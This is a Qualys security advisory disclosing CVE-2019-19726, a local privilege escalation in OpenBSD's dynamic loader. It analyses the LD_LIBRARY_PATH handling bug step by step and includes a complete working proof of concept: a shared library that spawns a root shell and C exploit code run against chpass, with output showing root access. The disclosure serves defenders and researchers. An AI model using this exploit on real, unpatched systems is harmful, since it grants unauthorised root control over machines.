Qualys Security Advisory
Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)
==============================================================================
Contents
==============================================================================
Summary
Analysis
Demonstration
Acknowledgments
==============================================================================
Summary
==============================================================================
We discovered a Local Privilege Escalation in OpenBSD's dynamic loader
(ld.so): this vulnerability is exploitable in the default installation
(via the set-user-ID executable chpass or passwd) and yields full root
privileges.
We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both
amd64 and i386; other releases and architectures are probably also
exploitable.
==============================================================================
Analysis
==============================================================================
In this section, we analyze a step-by-step execution of our proof of
concept:
------------------------------------------------------------------------------
1/ We execve() the set-user-ID /usr/bin/chpass, but first:
1a/ we set the LD_LIBRARY_PATH environment variable to one single dot
(the current working directory) and approximately ARG_MAX colons (the
maximum number of bytes for the argument and environment list); as
described in man ld.so:
LD_LIBRARY_PATH
A colon separated list of directories, prepending the default
search path for shared libraries. This variable is ignored for
set-user-ID and set-group-ID executables.
1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)
(2MB on amd64, 1MB on i386); as described in man setrlimit:
RLIMIT_DATA The maximum size (in bytes) of the data segment for a
process; this includes memory allocated via malloc(3) and
all other anonymous memory mapped via mmap(2).
------------------------------------------------------------------------------
2/ Before the main() function of chpass is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():
262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283 _dl_trust = !_dl_issetugid();
284 if (!_dl_trust) { /* Zap paths if s[ug]id... */
285 if (_dl_libpath) {
286 _dl_free_path(_dl_libpath);
287 _dl_libpath = NULL;
288 _dl_unsetenv("LD_LIBRARY_PATH", envp);
289 }
------------------------------------------------------------------------------
3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH
environment variable and passes it to _dl_split_path():
23 char **
24 _dl_split_path(const char *searchpath)
25 {
..
35 pp = searchpath;
36 while (*pp) {
37 if (*pp == ':' || *pp == ';')
38 count++;
39 pp++;
40 }
..
45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));
46 if (retval == NULL)
47 return (NULL);
------------------------------------------------------------------------------
4/ At line 45, count is approximately ARG_MAX (the number of colons in
our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our
low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.
------------------------------------------------------------------------------
5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH
is ignored, but it is not deleted from the environment (CVE-2019-19726):
although _dl_trust is false (_dl_issetugid() returns true because chpass
is set-user-ID), _dl_unsetenv() is not called (line 288) because
_dl_libpath is NULL (line 285).
------------------------------------------------------------------------------
6/ Next, the main() function of chpass is executed, and it:
6a/ calls setuid(0), which sets the real and effective user IDs to 0;
6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;
6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb
(unlike execve(), execv() does not reset the environment).
------------------------------------------------------------------------------
7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():
7a/ at line 271, _dl_getenv() returns a pointer to our
LD_LIBRARY_PATH environment variable (because it was not deleted from
the environment in step 5, and because execv() did not reset the
environment in step 6c);
7b/ at line 45, _dl_reallocarray() does not return NULL anymore
(because our low RLIMIT_DATA was reset in step 6b);
7c/ as a result, _dl_libpath is not NULL (line 271), and it is not
reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()
returns false because pwd_mkdb is not set-user-ID, and because the
real and effective user IDs were both set to 0 in step 6a): our
LD_LIBRARY_PATH is not ignored anymore.
------------------------------------------------------------------------------
8/ Finally, ld.so searches for shared libraries in _dl_libpath (our
LD_LIBRARY_PATH) and loads our own library from the current working
directory (the dot in our LD_LIBRARY_PATH).
------------------------------------------------------------------------------
==============================================================================
Demonstration
==============================================================================
In this section, we demonstrate the use of our proof of concept:
------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > lib.c << "EOF"
#include <paths.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]
$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c
$ cat > poc.c << "EOF"
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>
int
main(int argc, char * const * argv)
{
#define LLP "LD_LIBRARY_PATH=."
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1);
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp);
_exit(__LINE__);
}
EOF
$ gcc -s -o poc poc.c
$ ./poc /usr/bin/chpass
# id
uid=0(root) gid=0(wheel) groups=32767(nobody)
------------------------------------------------------------------------------
==============================================================================
Acknowledgments
==============================================================================
We thank Theo de Raadt and the OpenBSD developers for their incredibly
quick response: they published a patch for this vulnerability in less
than 3 hours. We also thank MITRE's CVE Assignment Team.
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